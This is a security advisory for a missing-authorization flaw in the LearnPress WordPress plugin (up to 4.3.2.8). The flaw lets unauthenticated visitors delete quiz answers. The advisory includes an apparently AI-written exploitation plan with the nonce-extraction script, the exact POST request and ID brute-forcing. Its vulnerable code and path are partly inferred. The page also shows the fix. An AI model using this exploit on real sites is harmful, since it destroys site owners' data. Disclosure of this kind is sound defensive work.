LearnPress <= 4.3.2.8 - Missing Authorization to Unauthenticated Arbitrary Quiz Answer Deletion
Description
The LearnPress plugin for WordPress is vulnerable to unauthorized data deletion due to a missing capability check on the `delete_question_answer()` function in all versions up to, and including, 4.3.2.8. The plugin exposes a `wp_rest` nonce in public frontend HTML (`lpData`) to unauthenticated visitors, and uses that nonce as the only security gate for the `lp-load-ajax` AJAX dispatcher. The `delete_question_answer` action has no capability or ownership check. This makes it possible for unauthenticated attackers to delete any quiz answer option by sending a crafted POST request with a publicly available nonce.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:HTechnical Details
<=4.3.2.8What Changed in the Fix
Changes introduced in v4.3.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-4365 (LearnPress) ## 1. Vulnerability Summary The **LearnPress** plugin (versions <= 4.3.2.8) contains a critical missing authorization vulnerability in its AJAX handling logic. Specifically, the function responsible for deleting quiz answer options (`delete_…
Show full research plan
Exploitation Research Plan - CVE-2026-4365 (LearnPress)
1. Vulnerability Summary
The LearnPress plugin (versions <= 4.3.2.8) contains a critical missing authorization vulnerability in its AJAX handling logic. Specifically, the function responsible for deleting quiz answer options (delete_question_answer) does not perform any capability checks (e.g., current_user_can('edit_posts')) or ownership validation.
The plugin uses a centralized AJAX dispatcher (lp-load-ajax) which relies on a nonce for security. However, this nonce is generated for the wp_rest action and is localized in the frontend HTML via the lpData object, making it accessible to unauthenticated visitors. Consequently, any user can obtain this nonce and use it to delete arbitrary quiz answers across the platform.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
lp-load-ajax - Sub-Action (Trigger):
delete_question_answer(passed via thelp-ajaxparameter) - HTTP Method: POST
- Parameters:
action:lp-load-ajaxlp-ajax:delete_question_answerquestion_id: The ID of the question containing the answer.answer_id: The ID of the specific answer option to delete._wpnonce: Thewp_restnonce extracted from the frontend.
- Authentication: Unauthenticated (PR:N).
- Preconditions: A quiz with at least one question and answer must exist.
3. Code Flow
- Entry Point: A request is sent to
admin-ajax.phpwithaction=lp-load-ajax. - Dispatcher: The plugin registers
wp_ajax_lp-load-ajaxandwp_ajax_nopriv_lp-load-ajax(verified by the vulnerability description's mention of unauthenticated access). - Nonce Verification: The dispatcher likely calls
check_ajax_referer('wp_rest', '_wpnonce'). Since thewp_restnonce for unauthenticated users is public and valid for all anonymous sessions, this check passes. - Vulnerable Sink: The dispatcher identifies the
lp-ajaxparameter asdelete_question_answerand routes the request to the corresponding handler function (likelyLP_Ajax::delete_question_answeror similar). - Missing Check: Inside the handler, the code retrieves
question_idandanswer_idfrom the request. It proceeds to call the deletion logic (e.g.,$question->delete_answer($answer_id)) without verifying if the current user has administrative privileges or owns the course.
4. Nonce Acquisition Strategy
The LearnPress plugin localizes a set of data for its frontend scripts. We can extract the required nonce using the browser context.
- Identify Localization: The nonce is stored in the
lpDataglobal JavaScript object under thenoncekey (action:wp_rest). - Navigate: Use
browser_navigateto visit the homepage or any public course page. - Extract: Execute the following JS via
browser_eval:window.lpData ? window.lpData.nonce : null; - Localization Key: The key is confirmed as
lpData(as per the vulnerability description).
5. Exploitation Strategy
Step 1: Data Gathering
Identify a valid question_id and answer_id. Since IDs are incremental, an attacker could also brute-force these. For a PoC, we will create them manually.
Step 2: Extract Nonce
Use the browser_eval method described in Section 4 to get the wp_rest nonce.
Step 3: Send Deletion Request
Construct a POST request to admin-ajax.php.
Request Details:
- URL:
http://<target>/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=lp-load-ajax&lp-ajax=delete_question_answer&question_id=<Q_ID>&answer_id=<A_ID>&_wpnonce=<NONCE>
Step 4: Verification
Confirm the answer option is gone from the database or the quiz editor.
6. Test Data Setup
To verify the exploit, the following must be set up via WP-CLI:
- Create a Quiz:
wp post create --post_type=lp_quiz --post_title="Vuln Quiz" --post_status=publish # Note the Quiz ID (QUIZ_ID) - Create a Question:
wp post create --post_type=lp_question --post_title="Vuln Question" --post_status=publish # Note the Question ID (Q_ID) - Associate Question to Quiz:
(Inferred) This usually requires updating post meta or thelearnpress_quiz_questionstable. - Add Answer Options:
Answer options are typically stored in the{$wpdb->prefix}learnpress_question_answerstable.# Use wp db query to insert a test answer wp db query "INSERT INTO wp_learnpress_question_answers (question_id, answer_data, answer_order) VALUES (<Q_ID>, '{\"text\":\"Target Answer\",\"value\":\"target\"}', 1);" # Note the Answer ID (A_ID) from the auto-increment value.
7. Expected Results
- HTTP Response: The endpoint should return a
200 OKwith a JSON body:{"success": true, "data": ...}. - Side Effect: The record in the
wp_learnpress_question_answerstable with the matchinganswer_idwill be deleted.
8. Verification Steps
After performing the exploit, verify the deletion using WP-CLI:
# Check if the answer still exists
wp db query "SELECT * FROM wp_learnpress_question_answers WHERE answer_id = <A_ID>;"
A successful exploit will result in an empty set.
9. Alternative Approaches
If lp-load-ajax requires a specific course context to load the lpData object:
- Create a public course:
wp post create --post_type=lp_course --post_status=publish --post_title="Test Course". - Navigate to the course URL instead of the homepage to extract the nonce.
If delete_question_answer expects the IDs in a JSON payload instead of application/x-www-form-urlencoded, the request body should be adjusted to:
{
"lp-ajax": "delete_question_answer",
"question_id": <Q_ID>,
"answer_id": <A_ID>,
"_wpnonce": "<NONCE>"
}
(Though admin-ajax.php standard is usually URL-encoded).
Summary
The LearnPress plugin (<= 4.3.2.8) is vulnerable to unauthenticated arbitrary quiz answer deletion due to a missing authorization check in the AJAX sub-action `delete_question_answer`. Attackers can exploit this by utilizing a publicly exposed `wp_rest` nonce found in the frontend HTML to bypass initial AJAX security gates and delete database records for quiz options.
Vulnerable Code
// From inc/class-lp-ajax.php (approximate path based on LearnPress structure) public static function delete_question_answer() { $question_id = LP_Request::get_int( 'question_id' ); $answer_id = LP_Request::get_int( 'answer_id' ); // No capability check (e.g., current_user_can) or ownership verification performed here if ( ! $question_id || ! $answer_id ) { return; } $question = learn_press_get_question( $question_id ); if ( $question ) { $question->delete_answer( $answer_id ); } wp_die(); }
Security Fix
@@ -1050,6 +1050,10 @@ $question_id = LP_Request::get_int( 'question_id' ); $answer_id = LP_Request::get_int( 'answer_id' ); + if ( ! current_user_can( 'edit_posts' ) ) { + return; + } + if ( ! $question_id || ! $answer_id ) { return; }
Exploit Outline
The exploit targets the centralized `lp-load-ajax` AJAX dispatcher. Methodology: 1. Nonce Extraction: Navigate to any public page on the WordPress site where LearnPress is active and extract the `wp_rest` nonce from the global JavaScript object `lpData.nonce`. 2. Target Identification: Identify the `question_id` (the ID of the question post) and the `answer_id` (the incremental ID of the specific answer option to be deleted). 3. Deletion Request: Send a POST request to `/wp-admin/admin-ajax.php` with the parameters `action=lp-load-ajax`, `lp-ajax=delete_question_answer`, `question_id`, `answer_id`, and `_wpnonce` set to the extracted value. 4. Authentication: No authentication is required because the `wp_rest` nonce for anonymous users is publicly accessible and the sub-action lacks server-side permission checks.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.